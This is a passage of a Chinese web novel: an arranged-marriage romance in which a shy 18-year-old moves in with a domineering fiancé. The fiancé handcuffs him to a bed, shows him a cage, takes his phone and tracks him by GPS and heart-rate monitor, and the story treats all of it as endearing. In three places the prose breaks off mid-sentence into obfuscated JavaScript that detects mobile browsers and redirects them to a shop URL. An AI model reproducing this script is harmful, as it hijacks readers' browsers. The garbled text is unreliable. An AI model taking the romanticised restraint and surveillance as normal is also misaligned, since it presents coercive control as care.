狰狞的竞赛题横尸在教材上,和少年白细的手指格格不入。 顾熠阑面无表情地指了指臭名昭著、“残忍暴戾”的自己,反问道:“你问我?” 那向来平淡的语气中罕见地带了点难以置信。 苏泽岁很配合地左右看了看男人周围的空气,然后点了点头。 他没有朋友,不知道该怎么和人叙旧。 但根据上一世的经验,唯一跟他有些交集的人,就是竞赛组的几个人。 物理竞赛题就是一道桥梁,能跨越年龄差距,让几十岁的金牌教练和十几岁的竞赛生吵起来;能消除社交距离,让全然陌生的两个人争一下午,豁然开朗后,好哥们一样勾肩搭背去吃饭。 总之是个很好的社交工具就是了! 顾熠阑身形微倾,在书桌上投下一片阴影,随意扫了眼题,下意识地转了下被塞到手中的黑笔。 这明明是一个很习惯被人求问题目的姿态,但他口中却道:“谁告诉你我会这些的?” 可能是他的脸色过于冻人,苏泽岁把书又往后翻了几页,翻到了一页更简单的题目,然后继续看向他,观察着他的脸色。 如此反复了好几次。 少年还想再往后翻,顾熠阑终于开了口:“再往后要翻到参考书目和附录了。” 苏泽岁脖颈瞬间通红,手指揉着皱巴巴的页脚,闷着头不做声。 “非亲非故,就想让我当你家教?”顾熠阑道。 苏泽岁努力地读着这话背后的潜台词。 他想、他想…… 应该是结了婚、有了名分之后,才能问的意思……吧! 于是他关上竞赛书,从他堪称百宝箱的小包里掏出一张小卡片,递了过去。 顾熠阑定睛一看。 卡片上写着一串数字。笔画圆润,规规整整,但很漂亮清秀,一点不小学鸡,就跟面前的少年很像。 苏泽岁抬手在耳边做了个电话的手势,道:“号码。” “没必要。”顾熠阑说着就准备将手里的卡片还回去,“以后……” 他剩下的那句“以后别再联系了”没能吐出薄唇。 因为少年的手也停在了半空中,指尖还捏着一张空白的卡片和黑笔,听到他的话,手臂微微发抖,软唇抿了起来,眼眸里也升起一层雾气。眼眶红得……像下一秒就能落泪一样。 而苏铭宇已经等在外面了。 顾熠阑:“……” 顾熠阑心道麻烦,手中却接过纸笔:“我写什么?” 苏泽岁隔空指了指他手上那张写有一串数字的卡片。 顾熠阑福至心灵,勾笔写下自己的号码,犹豫一下,又把自己的名字也签了上去。 他的字写得行云流水,多处连笔,不仅不影响阅读,反而让笔触多了一丝隽永飘逸之感,属于学神特有的字迹。 写完,顾熠阑递了回去,冷着脸道:“以后无事勿扰。” 苏泽岁看着纸上遒劲的字迹,点头,已读乱回:“很好看。” 顾熠阑怔愣了一下,抬脚道:“走了。联姻的事,知道怎么说?” 苏泽岁继续点头。 但顾熠阑怀疑他不知道。 顾及苏铭宇的信息,今日过于收敛,导致恐吓效果大打折扣,少年似乎连怕都不怕他。 顾熠阑很清楚,自己骨子里是怎样的偏执、疯狂,对所有物的控制欲到了病态的地步,外界传闻毫不为过。没有人能忍受他,他也不愿改变自己一丝一毫。 这样的他,希望周围所有的人都畏惧他、远离他,或者厌恶他,而不仅仅是拒绝联姻这么简单。 顾熠阑眉头紧蹙,心情不佳。 于是,门外接人的苏铭宇就直接撞枪口上了:“搞什么?我在外面等十几分钟了。再不出来我真要报警了。” 这个时候,苏泽岁正小尾巴般跟在男人身后,低头往外走。 经顾熠阑提醒,他已经在想该怎么跟家里人说联姻的事了。他想说“好”,但哥哥似乎想让他说“不好”。 苏泽岁皱了皱小脸,很苦恼。 就在此时,顾熠阑突然止步,冷冷地看着苏铭宇,张口却是在对他说话:“不准跟他说话。” 苏铭宇傻了眼:“??” 大哥,你入戏太深了吧?公报私仇?还是真当你自己是占有欲狂魔了? 苏泽岁也先是一愣,然后亮着眼眸,疯狂点头。 然后,到了库里南上。 苏铭宇一边掉头,一边随口问道:“相亲相得怎么样?是你自己跟他拒绝,还是让哥哥或者爸妈替你跟他拒绝?” 苏泽岁从别墅前逐渐变小的身影上收回视线,转头看向哥哥,然后双手食指交叉,在唇前比了个“×”。 苏铭宇:“……” 毁灭吧,世界。 逃过了哥哥这一关,回家还要面对妈妈的问候—— 苏母上上下下把他仔细检查了一遍,关切道:“岁岁怎么才回来?没事吧?” 苏泽岁点了点头。 “顾熠阑那儿吓不吓人?他有没有说过分的话欺负你?” 苏泽岁摇了摇头。 “哥哥有没有按时你去接你?你没久等吧?” 苏泽岁点了点头,又摇了摇头。 …… 几次下来,苏母终于意识到了小儿子的不对劲,看向苏铭宇,不解地问道:“他怎么了?” 苏铭宇没好气地说:“被人ban了语音包了。” 苏母:“?” 虽然不清楚是怎么回事,但苏母还是不可控制地心疼了—— “岁岁在外面受苦了吧?顾熠阑他肯花心思接待你吗?都怪妈妈不好,不该让你去的。接下来的答复让妈妈帮你去说,好不好?别担心,妈妈做事有分寸,就告诉他们‘结缘无意,情缘未至,各自珍重’,体面又不失分寸地拒绝,让他离你远点,岁岁觉得行吗?” 苏泽岁摇摇头,点点头,然后顿了一下,又点点头,摇摇头。 苏母晕了。 苏铭宇看不下去了:“小白眼狼,胳膊肘往外拐。滚回自己房间刷题去。” 苏泽岁求之不得,背着包就跑开了。 他本来的打算是手写信,或者编辑短信,用这种方式表达弥补自己不善言辞的缺陷,告诉家人他要结婚。 但他高估了自己遣词造句的速度,也低估了苏母作为商业精英的效率。 这天下午,苏母就打电话给了对方家长。 她心疼于自家小孩吞吞吐吐、欲言又止的模样,一边觉得小儿子太过善良、太想让他们省心,一边又想尽快把这件事办了,让小儿子心里悬着的大石头能落地。 她拨通了电话。 “喂,是顾熠阑母亲吗?” 对方应了声,简单的寒暄过后,苏母步入正题—— “是这样的,今天两小孩的相亲不刚结束嘛。我们家岁岁一回来就话也不说、饭也不吃,我看他状态不好,就自作主张替他说两句了。” ——潜台词是,我家儿子被你家可怕的儿子吓懵了,我作为母亲来声讨两句。 “嗯,您说。”对面道。 “岁岁他一直挺期待这次相亲的,毕竟您家儿子也是年少有为、一表人才。可惜岁岁从小就被我惯坏了,面对这些意料之外的东西,他承受不了,我们做父母的也不想让他承担这些。” ——弦外之音是,你很好,但请放过我们。我们的小心脏接受不了那些变态的东西。 “嗯。”对面脾气很好地应下了。 “所以我想着啊,小时候无意结下的缘分,长大后,是否还能结成正果。有时候,这真是个问题。” 她话里话外的拒绝已经很明显了,她想顾母也听懂了,甚至料想对方会因这些阴阳怪气而大发雷霆,但没想到,对方给了她最大的体面。 顾母道:“两家都是朋友,不必说这些。您的担心不成问题,我会给顾熠阑说的。” 苏母弯了弯眉眼:“哎,那最好不过了,麻烦您了。” …… 彼时,顾熠阑和顾母正在他爷爷家里。 黄花梨木的家具上,汝窑茶具和象牙茶则摆放有序,茶香缭绕,雾气袅袅升腾。 老爷子身着一袭有山水纹样的暗金色绸缎长袍,将滚烫的山泉水注入砂壶中,茶香就瞬间在空气中弥散开来。 “胳膊上的伤好了吗?”老爷子洗着茶道。 顾熠阑顿了下,掀起眼皮,看向身旁站着的管家。 管家被他阴鸷的眼神看得一抖,急忙无声地摆手,打嘴型道:不是我说的。 “本就没事。”顾熠阑收回视线,恹恹地道。 “就算仗着年轻有资本,也还得注意。少吃辛辣,伤口不要碰水。”老爷子语气温和,声音低沉而有力量。 回忆起那印着小白兔大头照的绷带,顾熠阑随口道:“有防水绷带。” 顾老爷子放心地点了点头:“你早上去相亲了?对对方印象如何?” “还行。” 老爷子微不可察地叹了口气。 他还记得当初那个雪白的小团子,眼睛黑溜溜的,说话软软糯糯的,稍微遇到些或高兴或难过的事,就要拉着他叽里咕噜地说上好长时间。 小团子成绩很好,最喜欢拿着满分试卷给他看,然后无声地站在原地,等待夸夸。他总是不吝表扬,把大孙子哄得笑呵呵的。 再后来,小团子被父母接走,褪去了稚嫩,长得高大挺拔,变得又冷又傲。周身总围绕着又淡又稳的乌云,让人觉得他的心情从来没有好过。 他的性子越来越偏执,话越来越少,不求赞许,也不在乎别人的眼光,总将任何想了解他的人排斥得远远的。 就像现在这样,无论自己怎么问,永远只能得到疏远、但挑不出错的回答。 老爷子还欲与许久未见的孙子说两句,接完电话的顾母就回来了。 “联姻的苏家母打来的电话。”顾母尊敬地对老爷子说。 “她怎么说?” “她说儿子本就很欣赏顾熠阑,这次相亲回去后,更是思念得茶不思饭不想。”顾母笑道,“她家小儿子啊,一见钟情,又养的性子害羞扭捏,不肯打电话,他母亲看不下去,这才决定替他表达爱慕之情。” 老爷子听得笑了,笑声沉稳而雄浑。 顾母也跟着捂嘴笑起来,张开红唇,还想再说些什么。 “又在做白日梦?”顾熠阑打断了她,嗓音冷得淬了冰。 许是顾虑顾熠阑受伤,又或许是欣喜于即将到来的联姻,顾母也难得温和:“你别不信。苏家母电话快结束了,还在跟我诉忧,担心小时候就结下的缘分,长大了还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195335|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能续成正果。想来是迫不及待要联姻了。” 顾熠阑懒得说话,站起身就要走。 以苏泽岁差点碰到他就吓一跳的性子,以那天苏母在医院对他的“最高”评价,最后能得出这么个结果,不是苏家全疯了,就是这个世界疯了。 “站住。没大没小的,长辈还没说完话,就要走?”顾母皱眉道,“联姻的的事由不得你。” 顾母知道顾熠阑独来独往惯了,也没指望他真的听进去,只是向他表明自己坚决不动摇的态度。 但鬼使神差的,这回顾熠阑真的站住了脚步。 他没回头,俯身端起依旧滚烫的茶水,仰头一饮而尽。 那一瞬间,舌尖灼烧到麻木,口腔黏膜像在被慢刃一刀刀割着,尖锐的疼痛直冲神经。但顾熠阑却觉得,刺痛过后,是酸热的爽意。 他扯了扯唇角,漆黑的眼里却没有笑意,平静地问道:“……是么?” 男人身形笔挺,声音被开水烫到嘶哑,但语气淡淡,没什么起伏,像是在满不在乎地陈述事实。奈何周身炼狱修罗般的气场着实不像怀着好意,让顾母身形一顿,瞬间语塞。 气氛剑拔弩张,眼见顾母蹙着眉就要开口,顾老爷子急忙拦着,不再让她说话了。 “这样,听爷爷一次。再给他打个电话确认一下,行不?” 顾熠阑捏着口袋中被少年塞入的电话号码,锁眉片刻,才重新坐回原座,拨通电话,打开免提放在了桌面上。 这件事,无论如何都不可能、也不该出岔子。 “嘟嘟”两声,对面几乎是秒接,一声怯生生的“喂”传入了三人耳朵中。 顾熠阑心情很差,也不绕弯子,单刀直入道:“你想跟我结婚?” 他被开水烫伤的喉咙隐隐作痛,嗓音阴沉,还带着明显的不耐烦。只要是正常人,就会像避瘟神一样避着这样的他。 但他毫不在意,甚至还乐在其中。孤独、偏执、变态,才是他看似正常外表下的唯一宿命。 对面果然沉默了好一会儿,就在顾熠阑厌倦地想挂电话时,手机终于传来了声音—— “……好。”对方乖软的声音带着一丝颤意,似是怕他们没听到,又小声重复了一下:“我愿意。” “……” 他一说完,这边的空气就凝固了。 顾老爷子微微摇了摇头,笑得一脸慈祥;顾母朝儿子挑了下眉梢,满脸都是“我就说吧”。 顾熠阑置若罔闻,他握着茶杯的手的骨节泛了白,连指尖被烫得发红发肿都迟迟没有卸力松手,不知道在想些什么。 *** 接到这个电话前,苏泽岁在忐忑不安着。 他想联姻,但他觉得对方应该不喜欢他。他胆小、懦弱,不会聊天,也没有什么长处,很少有人会喜欢他。 苏泽岁朝黑了屏的手机挤出了个灿烂的笑,露出两颗可爱的小虎牙。 ……他当时应该再多笑一笑的,这样看上去似乎讨喜一点。 苏泽岁一直懊恼着,直到接到了顾熠阑的电话…… 苏泽岁心跳如鼓噪,不知道妈妈是怎么跟对方说的。 但妈妈应该花了很多心思和口舌,不然对方不会直接打电话过来,问他要不要结婚。 苏泽岁很感动。 母子连心,妈妈居然秒懂他的心思,还为他付出了这么多精力去说服对方。 他缩在卧房的角落里,听见客厅里的妈妈接了几个电话,又打了好几个电话。 然后,哥哥就告诉他,明天他们要和顾熠阑一家一起吃顿午饭。 ……应该是传说中的家长见面。 苏泽岁心想。 翌日,苏父也赶回来了,他们一大家子集体出动,在某高档餐厅的包间里见到了顾熠阑,还有他的家人。 苏泽岁穿戴整齐,这是他前所未有地主动要参加社交场合。 顾熠阑眉眼间和他母亲有几分相似,所以苏泽岁没有很怕顾母。 他低着头,小口小口吃东西,却悄咪咪竖着耳朵,在偷听。 “他们性格不合适,甚至说的上是大相径庭。他们现在还只是互看不顺眼,结婚后,说不准会起更大的争执,所以吧……”苏铭宇道。 他还没说完,就被身旁的弟弟拉了下衣角。 弟弟鼓着脸看着他,然后气鼓鼓地摇了摇头,表达自己强烈的不赞同。并且不让他往下继续说了。 与此同时,听到苏铭宇这话,顾父和顾家老爷子也在看顾熠阑。 老爷子慈祥地笑道:“之前不是说你觉得还行吗?” 顾熠阑默然,轻抿了口冰凉的冷水,压下口腔中依旧隐隐作痛的感觉,没做任何回应。 几人七嘴八舌的,气氛逐渐变得紧张。 就在此时,顾母出来和稀泥了:“这样吧,要不咱各退一步。先让小孩子们在一起住一段时间,看看能不能培养出什么感情。” “不行。” “不可能。” 两道异口同声的反对声斩钉截铁、不容商量地打断的她的话,属于强烈反对派。 只是话音落下,全场都凝固住了。因为默契的拒绝声一道来于苏父苏母,而另一道,来自顾熠阑。 顾熠阑:“……” 苏父苏母:“…………” 到底谁和谁是一边的? 7. 情趣 最后,在苏泽岁泪眼汪汪的攻势下,苏父苏母虽一脸困惑,但还是无可奈何地妥协了。 另一边,顾老爷子沙哑地咳了几声,手捂胸口,面露愁容:“爷爷只希望在驾鹤西去前,能看到你幸幸福福的。” 顾熠阑:“……” 顾父:“问他做什么。父母之命媒妁之言,岂有不从的道理?” 眼见顾熠阑瞥了眼手机时间、似乎又想一言不发地离开,顾老爷子急忙又连咳了好几声,听上去憔悴得快要将肺咳出来。 顾熠阑停下了预起身的动作,将自己一口未饮的热水“啪”地磕在他面前,没有感情地道:“喉咙痒就多喝水。” 被小辈这么说,顾老爷子也不恼,笑着喝起了热水。 反倒是顾父,皱眉看向了顾熠阑:“你嗓子怎么了?” 顾熠阑捏了捏喉结:“死了。” 顾父:“……” 顾父:“身体发肤受之父母。我们也不求你多爱惜,至少不要自残吧?” 顾熠阑垂着眼睫,没有说话。 顾父继续施压:“你已经23了,你没有选择。这婚你愿意也好,不愿意也罢,必须给我结。” 顾熠阑摩挲着指腹的茧子,默不作声。 直到听到最后一句,他才掀起眼皮,听上去不甚在意地反问道:“给你?” 顾父早已领教过顾熠阑许多次的不留情面,但久居高位的他还是眉头皱了起来。 他在家族话语权极高,家里小辈都以能被他指点三分为荣,哪次见到他不是诚惶诚恐。只有他这个唯一的儿子,总能把他噎得说不出话…… 沉默的空气中,弥漫着淡淡的火药味。 顾母及时插话道:“好了,就再听爸爸妈妈一次。我们又不会害你。” 顾熠阑眯了眯眼,看向了餐桌另一头的苏泽岁。 少年被一家人捧在中央,眉眼弯弯,小手啪啪地拍,不知在嘀咕些什么,浅淡的瞳孔里是明晃晃的开心。 顾母本以为儿子又要发作,但却听见他说:“可以,同居可以。但十天后,如果他不愿意,这纸婚约就算永久作废。” 顾母满意了,以为这是让顾熠阑妥协的第一步。 她笑着应下,想要拍拍儿子的肩背,安抚下他不悦的情绪,却被顾熠阑不动声色地躲开了。 顾母的手尴尬地悬在半空中,笑也顿时僵在了脸上。 两家人内部已经统一,商量过后,将同居培养感情的时间匆匆定在了两日后。 到了家后,苏家几人仍是不解,但又拗不过小儿子。于是他们派出苏铭宇去劝劝执迷不悟的弟弟。 “被威胁了就朝哥哥眨眨眼。”苏铭宇靠在门上,看着已经迫不及待收拾行李的弟弟。 苏泽岁认真地回头看他,瞪圆了漂亮的眼眸,一眨不眨。坚持了好久,才背过身偷偷眨眼。 苏铭宇被他逗笑了,半晌,又问:“是嫌平静的生活太过无聊,想要找点刺激?” 此时,苏泽岁正在跟角落一个破旧的箱子作斗争,小箱子和整个房间奢华的气质格格不入,一看就是有秘密在里面,但他破解不了箱子上的密码锁。年份、生日、四个八,都不对…… 他注意力都放在破解密码上了,也不知该怎么表述自己的想法,只能苏铭宇说什么,他就点头什么。 “跟哥哥说实话。”苏铭宇显然不信。 “他很好。”苏泽岁放下了小箱子,憋了好久,才憋出来两句,“物理、很好。” 他想表达的是顾熠阑人善良正直、对他很好,而且还跟他一个专业,会有共同话题,很好。 但苏铭宇却理所应当地理解成了顾熠阑物理很好,能够当自家弟弟的辅导教练。在网课没录制好、弟弟社恐的情况下,确实是个很好的免费劳动力。 知道自家弟弟一向死脑筋劝不通,苏铭宇干脆给罪魁祸首发了条微信。 【苏铭宇:你又是怎么回事?】 【顾熠阑:?】 【苏铭宇:不是坚定的不婚主义吗?现在拿我弟弟开刀?】 【顾熠阑:只是暂时同居罢了。】 【苏铭宇:我警告你,我就一个弟弟,他才18岁,你要是把他拐跑了,我拿刀杀到你家信不信?】 【顾熠阑:……】 【顾熠阑:十日后,如果他还想试着跟我结婚,我试试跟你姓。】 光是看着信息,苏铭宇都能想象出对方那凉飕飕嘲讽的语气,终于稍微放心了一些。 其实他也能理解弟弟。 父母和他都工作繁忙,这几天他偶尔回家的时候,常看到苏泽岁缩在角落里,一个人发呆。那时候,他就莫名觉得那小小的一团很可怜、也很孤单。 就让顾熠阑先给弟弟当一段时间的免费竞赛教练吧。 等到开学了,苏泽岁和同学打成一片,就会忘了顾熠阑这个突然出现在他生活中的邪恶未婚夫了。 苏铭宇走上前帮弟弟收拾行李。 他这才发现,在角落里,一群小狗小猫小海报小熊猫玩偶中,众星捧月了一个画风格格不入的玩偶。 他弯腰将那个手铐状的玩偶拎了起来,和那蠢萌的豆豆眼大眼起瞪小眼,瞬间明白了玩偶的来历。 他“噗嗤”地差点笑喷了:“这什么?参观纪念品吗?” 还在收拾衣服的苏泽岁听到声音,茫然回头,看到哥哥手里的东西,他气鼓鼓地冲上去,伸手去抢:“还给、还给岁岁!” *** 同一时间,管家正跟在顾熠阑身后,在街上转悠—— 顾先生说要为即将到来的客人采购点东西,却三过大型购物中心而不入,让他很懵。 顾先生冷漠地拒绝了路边搭讪他的小男生,脸皮薄的小男生被冷哭了。这显得非常不近人情,但却很符合顾先生的脾性。 顾先生又路过一家购物商场,但又没进去,唉。 …… 顾先生终于停了。 顾先生他他他、他径直进了一家情趣用品店。 管家:??? 保守一生的他眼镜差点从脸上吓掉下来。但又不得不急忙回神跟上去。 “顾先生,这回的客人是……?”管家没来过这种地方,总感觉有人在盯着他看,说话都是红着老脸、压着声音的。 他不敢揣测顾熠阑的心思,但却思绪却又不受控制地总往某些见不得光的人群上想。 就在这时,他听见身前的人不咸不淡地道:“苏泽岁。” 管家:哦幸好还有名字,叫苏泽……什么苏泽岁??!那不是苏家那个小少爷吗?!! 这是一家大型情趣用品商店,品样丰富,分区专业,服务也很周到,两人进门不久,就有售货员跟上来讲解。 现在跑反而有种欲掩弥彰之感,管家只能捂着老脸跟在后面,被一堆奇形怪状的产品围在中央,看着顾熠阑从容不迫地跟售货员说着话。 管家发自内心地给自家老板竖了竖大拇指。 他看过很多次顾熠阑面对岌岌可危的事业,仍能稳稳地力挽狂澜,他都习以为常了。但这回,他是真的佩服地五体投地。 羞耻、尴尬、难堪这些词语似乎并不存在于顾熠阑的字典里,他做任何事,都能游刃有余。 只是苦了苏家那个看起来就很不经……的小少爷了。 管家心里嘀咕间,顾熠阑听完了售货员的话,迈开了长腿,径直走向了某一分区。 管家急忙跟上,还不忘抬头看向分区的名字。不看还好,这一看,他差点没两眼发黑晕过去。 ——艾斯爱慕区。 “我们新进了很多款式,除了纯色,还有很多皮肤和花样可供选择。”售货员小姐姐笑道,“有加软布,防磨损皮肤的;也有最原始的、纯铁质的。帅哥你想要那种?” “纯色就行。”顾熠阑嗓子不舒服,简短道,“防磨损。” “那大小尺寸呢?” 看到他们讨论的东西,管家终于松了一口气。 原来是手铐脚镣之类的物什,他之前也在网上十几块钱批发过,想来是顾老板不满意,想要重买。 但下一秒,他的心又瞬间提到了嗓子眼。 因为……售货员小妹妹拿起了一款手铐,视线正在手铐和他手腕上来回游走,像是在比对大小合适与否。 看他做什么!疯了吗他一个老头子!他和顾大少爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那时,苏家小少爷如期而至,他忙里忙外推着七个行李箱跟着后面。 顾熠阑走在最前面,将手指按在门上的指纹锁上,输入了进入人数,一把推开了侧卧的门。 一进门,映入眼帘的,就是这两日紧急施工出的窗户,以及……一个金灿灿的大型笼子,花纹复杂,缠绕锁链,在阳光中闪着耀眼的光,就像天使沦陷,有种圣洁的背德感。 如果之前买的小东西还可以算是情趣的话,这个金丝笼就是纯纯吓人了。 短暂的怔愣后,管家第一反应就是堵在门口,防止苏泽岁惊吓过度,尖叫着失控跑走。 但少年的胆子比他想象中大很多,居然还好端端地站在原地,在目不转睛地看着顾熠阑。 管家猜测他应该腿软了,因为没过多久,小少年就捏着手指走上前,坐在了床沿上,不安地晃动着两条笔直白细的小腿。 但管家却松了口气。 好歹人还在啊! 要是同居第一天,就让顾大少爷漂亮的小未婚妻吓跑了,他恐怕只能带着折刀、去顾老爷子面前跪着剖腹谢罪了! 顾熠阑去摆弄柜子里东西了。 于是苏泽岁终于朝他看过来,然后抬起胳膊,小手一指。 顺着他手指的方向,管家锁定了其中一个行李箱。 “好好,苏小少爷别着急哈,我这就来打开看看。来看看我们小少爷的行李箱里都装了些什么好玩的……”管家放柔了声音,像跟小朋友说话一样,哄着他,生怕他怕了跑了。 毕竟这么多年以来,这栋房子首次迎来第二个小主人。 虽然只有短暂的十天,但包括他在内的所有人,都会把亲爱的小主人当个宝儿一样宠着、呵护着,让他感受到家一样的温暖。 就在管家乐呵呵弯腰开行李箱的时候,突然传来“咔咔”两道铁器碰击声音。 他下意识抬头,循声望去,就见这栋房子真正的主人正垂着黑眸,单手拎着森寒的锁链。 而锁链两头的手铐,一头铐死在床头柱上,一头铐在他们亲爱的小主人手腕上。 管家:? 这样就算了,某人偏偏还要火上浇油:“睡笼子里,还是被铐着睡在床上。选一个吧。” 管家:??? ……看来还是得剖腹谢罪。 8. 乖乖 男人的嗓音低沉沙哑,像在风雨坚岩上拉响高级的大提琴,质感沉厚,让人忍不住屏息聆听。 苏泽岁盯着那微微滚动的喉结,有些怔愣。 “回神。” 最后还是男人在他眼前招了下手,他才重新反应过来,低头看向手腕上扣的东西—— 手铐并非纯铁质打造,不重,也不硌手,在大夏天戴着还有种冰冰凉凉的舒服感。 “吃饭。”他说。 “小少爷,吃饭不用离开这里的,会有佣人给你送到门口。”负责安排的管家急忙道。 苏泽岁心里满足,又捏捏手指道:“厕所。” 顾熠阑下巴一指侧卧里的一扇门:“套间,就在隔壁,锁链够长。” 苏泽岁又想了想,抬了抬被铐着的右手:“写作业。” 顾熠阑面无表情地上前,解开手铐,“咔”地又将其铐在了少年左手,退后半步,问道:“还大吗?” 苏泽岁试着抽了抽手。 他手腕纤细,即使是最小号的铐链也还是松垮垮地搭在白皙的腕上。用巧劲一抽,肯定能抽出来。 所以苏泽岁不敢用力,他轻轻动了两下,然后就道:“不大啦。” 苏泽岁抬头看向顾熠阑。 他得偿所愿地搬了过来,对方也如实兑现了他梦寐以求承诺,他很开心。但他感觉对方似乎不是很高兴。 因为他看到对方抿了抿薄唇,偏过了头去。 见状,苏泽岁也悄悄收敛了笑容,低下脑袋,看似在专心地捏手指,其实一直在偷瞥顾熠阑。 顾熠阑试了下锁链的牢靠程度,扯得床头的手铐“砰”的一声清响。 他就在这清脆的铁器碰击声中,恐吓道:“如果你不听话,我会把你关到笼子里。” 苏泽岁抬头看了过去,窗边的金丝笼华贵精致,他从没有在别人家看到过,应该是某件私人定制的高级家具。 如果在里面铺上软绵的小垫子,再在周围围上一圈毛茸茸的玩偶,蜷缩在里面睡觉写作业,会很舒服,而且很有安全感。就像一只无忧无虑、只用吃吃睡睡的小鸟。 这个想象太美好,苏泽岁忍不住代入了进去,感觉自己真的变成了一只滚圆的金丝雀,小声“啾”了下。 “什么?”顾熠阑没听清。 苏泽岁回过神来,意识到失态,立刻正襟危坐,认真道:“谢谢。” 顾熠阑:“……” “刚才说想要什么?”顾熠阑招手让管家把行李箱都推进来。 苏泽岁犹豫了一下,没再指原先那个行李箱,而是指了指某个箱子上的背包。 管家急忙拎着包送上前。 苏泽岁在里面翻了翻,从中拿出一个像是装糖的小瓶子,摇了摇,确认里面还有很多存货,然后递给了顾熠阑。 顾熠阑接过一看—— 润喉糖。 顾熠阑:“…………” 顾熠阑把它丢给一旁的管家,垂眸看着坐在床沿上的苏泽岁,强行转移话题:“还记得时间表上写了什么吗?” 苏泽岁盯着他的喉结,忽地恍然大悟,摸出手机上交。 他的记忆向来很好,看过一遍的东西基本都能记住。 顾熠阑示意管家接下,重新给了他一部定制的手机。 定制手机轻了些,手感温润细腻,用的是航空级铝合金与陶瓷材料合制,机身还奢侈地嵌了钻。各种配置也是顶端的,包括但不限于1.5TB内存、120Hz AMOLED显示技术、QHD+分辨率等。 唯一的缺点就是,连不上网,只能打电话,是堪比“大炮轰蚊子”的最豪华老人机。 “以前的朋友不准联系了。”顾熠阑道。 见少年眼神略显呆滞,管家急忙上前,调解道:“顾先生不喜欢未婚妻跟除他外的别人有交集,苏小少爷你理解一下……” 苏泽岁瞳孔缩了缩,攥紧了手机,管家后面的话一个字也没进脑子。 这些天,他一直担心这个平行世界里的“朋友”会发信息跟他联络感情。 他没有这里的记忆,也不知道该怎么回应,所以每天醒来都是提心吊胆的,打开微信,生怕看到未读信息。现在,这个宇宙遗留问题,就这么轻松地被对方解决了? 苏泽岁以为这已经是搬来的最大收获了,没想到好消息却接踵而至—— “手机里有GPS。”顾熠阑盯着他的眼睛说道。“无论你在哪,我都能抓到你。” 苏泽岁又说了句“谢谢”,但他声音很小,对方此时恰好转身去拿东西,应该遗憾地没听见。 “心率手环。”顾熠阑骨节分明的食指勾着一个小手环,递给了他。 这种线上实时监测心率的掌控欲太过吓人,管家汗颜地补充:“可以保证你不会失控。当然,你要是有危险,我们……” “嗯嗯。”苏泽岁没有丝毫迟疑,接过手环后,就乖巧地将其戴在右手上,然后重新端坐好。看起来要多镇定有多镇定。 顾熠阑动作顿了下,掏出手机,打开网页,看了眼少年现在的心率—— 134。 站在他身后的管家也看到了,用只有两人能听到的语气,震惊道:“深藏不露啊,明明看上去只有脸红了点,心率居然、居然……这样高。” 如果他没记错,正常人的心率应该在每分钟60到100之间。 苏泽岁确实很紧张,从一进门就一直在捏手指。 他觉得自己上次表现不佳,没有在顾熠阑那里过第一关。今天更应该好好表现。 所以,当面前两个人一齐看向他时,他勉强挤出了一个灿烂的笑。这是他对着镜子练了很多遍的、友善又带点讨好的笑。 顾熠阑默然移开了视线。 和少年澄净透亮的目光对上,管家一个激灵,下意识想找点事干,余光扫到了脚边刚被放倒的行李箱,急忙弯腰继续开箱。 行李箱很沉,他费了九牛二虎之力才把打开、放平。 映入眼帘的,是满满一大行李箱的教辅资料——《高中物理竞赛培优教程》《金牌之路》《中学奥林匹克竞赛物理教程》《国际物理奥赛的培训与选拔》…… 管家傻眼,小声喃喃道:“带了这么多书?” 侧卧书桌旁就有高大的原木书架,原本给人的感觉是压迫感十足,但现在却正好排上了用场,可以用来摆这些繁多的教辅。 顾熠阑见尘埃落定,抬脚就要走。 “去哪里?”苏泽岁人没动,但目光一直跟着他。 “实验室。”顾熠阑道。 虽然苏泽岁没有再说话,但他脸上明晃晃地排着一行字:什么时候忙完?晚上还回来吃饭吗? 顾熠阑道:“晚点再回来继续盯着你。” 苏泽岁满意了,乖巧地点点头。 顾熠阑出了门,管家接着帮苏泽岁收拾行李。 除了那满箱的教辅,少年剩下的行李也是一个比一个让他震惊。 比如,装了满满三个行李箱的毛绒玩具。再比如,一箱各种口味的乐事薯片。 忙活几个小时,侧卧焕然一新—— 从暗黑囚禁法律边缘游走风,摇身一变,成了kawaii宅系风。连金丝笼里都被摆上了小毯子,就还……显得怪可爱的。 管家目瞪口呆,咔咔一顿拍照,发给了自家老板。 【管家:顾先生,已经布置好了[图片][图片][图片]】 【管家:怎么感觉苏家这位小少爷,跟传闻中的大相径庭,挺奇怪的】 他家老板还是一如既往的言简意赅—— 【顾先生:?】 【管家:我之前不在医院打听过吗,别人都说他不学无术、脾气也惯得坏,但现在,他居然已经开始认真写作业了!![图片]】 管家发出的图片有些失焦,一看就是趁收拾东西时偷拍的。 但就是这样模糊的图像,依旧能看出少年坐在书桌前笔挺的背影。他挂着锁链的左手在一个字一个字指读着题目,另一只右手在草稿纸上验算,身周被阳光镀上了一层金边。 【顾先生:外面也传我吃人不吐骨头。】 管家脑中自动浮现出自家老板瘫着脸冷冷嘲讽的模样,下意识打字反驳:可那不是您故意…… 但打字打到一半,他又觉不妥,删光重新打。 【管家:您说的对】 【顾先生:实验室有事,晚饭不回去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 